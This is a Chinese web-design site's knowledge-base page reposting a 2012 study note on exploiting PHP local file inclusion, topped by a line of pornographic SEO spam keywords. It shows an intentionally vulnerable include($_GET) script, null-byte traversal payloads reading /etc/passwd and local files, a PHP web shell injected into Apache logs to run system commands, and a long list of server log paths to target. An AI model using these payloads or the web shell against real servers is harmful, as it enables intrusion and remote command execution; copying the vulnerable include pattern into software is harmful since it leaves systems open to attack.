久艹视频免费看,亚洲成av人综合在线观看,51久久夜色精品国产水果派解说,gogo全球大胆高清人体444

知識(shí)學(xué)堂
  • ·聯(lián)系電話:+86.023-75585550
  • ·聯(lián)系傳真:+86.023-75585550
  • ·24小時(shí)手機(jī):13896886023
  • ·QQ 咨 詢:361652718 513960520
當(dāng)前位置 > 首頁(yè) > 知識(shí)學(xué)堂 > 網(wǎng)站建設(shè)知識(shí)
PHP本地文件包含(LFI)漏洞利用
更新時(shí)間:2012-02-19 | 發(fā)布人:本站 | 點(diǎn)擊率:333
這次學(xué)習(xí)的主要參考資料是:http://downloads.ackack.net/LocalFileInclusion.pdf
 
實(shí)驗(yàn)代碼:
 
如果是在linux上,直接提交:test.php?for=/etc/passwd%00即可顯示該文件。
 
<?php
  include($_GET['for'].‘.php’);//用于測(cè)試本地包含漏洞
 ?>
 
 
 
如果是在win上,提交:test.php?for=D:\tools\readme.txt%00,就可以了,跨目錄跨盤(pán)符。這里要注意,對(duì)于過(guò)多的”..\”,360會(huì)自動(dòng)攔截,比較好的辦法是使用ie或者ff。
 
但是光是瀏覽文件是不夠的,我們還需要webshell。可以使用log injection的方法。這也是我作這個(gè)記錄的主要目的,這才是重點(diǎn)所在。
 
這里,思想的核心是要將php代碼注入到log中,比如,我們可以將:
 
<?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?>
 
注入進(jìn)去(瀏覽器的自動(dòng)更改實(shí)在太煩人)。注:friddle2不會(huì)對(duì)針對(duì)本機(jī)的訪問(wèn)過(guò)濾,我就輸入本機(jī)的地址:192.168.0.1。
 
然后訪問(wèn):test.php?for=/var/log/apache/logs/error_log%00&x=/&y=uname,這是針對(duì)linux。如果平臺(tái)切換到win,可以訪問(wèn):test.php?for=..\apache\logs\error.log%00&x=.y=dir,會(huì)顯示當(dāng)前目錄文件。
 
當(dāng)然,我們也可以將日志記錄到access.log里,但那樣會(huì)更復(fù)雜一些,因?yàn)樾枰奈募䲡?huì)更大。
 
參考文獻(xiàn)還提到了:使用linux的/proc/self/fd進(jìn)行注入的方法,我對(duì)linux不熟悉,所以也沒(méi)有細(xì)看,以后需要的時(shí)候再了解吧。
 
額外的發(fā)現(xiàn):
 
360瀏覽器有個(gè)奇怪的特性,當(dāng)訪問(wèn)http://www.baidu.com/search/error.html%00../../../../../../tools后,會(huì)訪問(wèn)一下目錄:D:\Program files\360se\tools 看看有沒(méi)有這個(gè)文件夾,這里有問(wèn)題吧?TDH
 
D:\Program files\360se\360se3\http:\apache\logs\error.log%00&y=dir和http://192.168.0.1:88/test.php?for=..\..\..\apache\logs\error.log%00&y=dir,這兩者之間的關(guān)系是怎么得來(lái)的?
 
附錄:
 
1、可能的log路徑、
 
/etc/httpd/logs/access.log
 /etc/httpd/logs/access_log
 /etc/httpd/logs/error.log
 /etc/httpd/logs/error_log
 /opt/lampp/logs/access_log
 /opt/lampp/logs/error_log
 /usr/local/apache/log
 /usr/local/apache/logs
 /usr/local/apache/logs/access.log
 /usr/local/apache/logs/access_log
 /usr/local/apache/logs/error.log
 /usr/local/apache/logs/error_log
 /usr/local/etc/httpd/logs/access_log
 /usr/local/etc/httpd/logs/error_log
 /usr/local/www/logs/thttpd_log
 /var/apache/logs/access_log
 /var/apache/logs/error_log
 /var/log/apache/access.log
 /var/log/apache/error.log
 /var/log/apache-ssl/access.log
 /var/log/apache-ssl/error.log
 /var/log/httpd/access_log
 /var/log/httpd/error_log
 /var/log/httpsd/ssl.access_log
 /var/log/httpsd/ssl_log
 /var/log/thttpd_log
 /var/www/log/access_log
 /var/www/log/error_log
 /var/www/logs/access.log
 /var/www/logs/access_log
 /var/www/logs/error.log
 /var/www/logs/error_log
 C:\apache\logs\access.log
 C:\apache\logs\error.log
 C:\Program Files\Apache Group\Apache\logs\access.log
 C:\Program Files\Apache Group\Apache\logs\error.log
 C:\program files\wamp\apache2\logs
 C:\wamp\apache2\logs
 C:\wamp\logs
 C:\xampp\apache\logs\access.log
 C:\xampp\apache\logs\error.log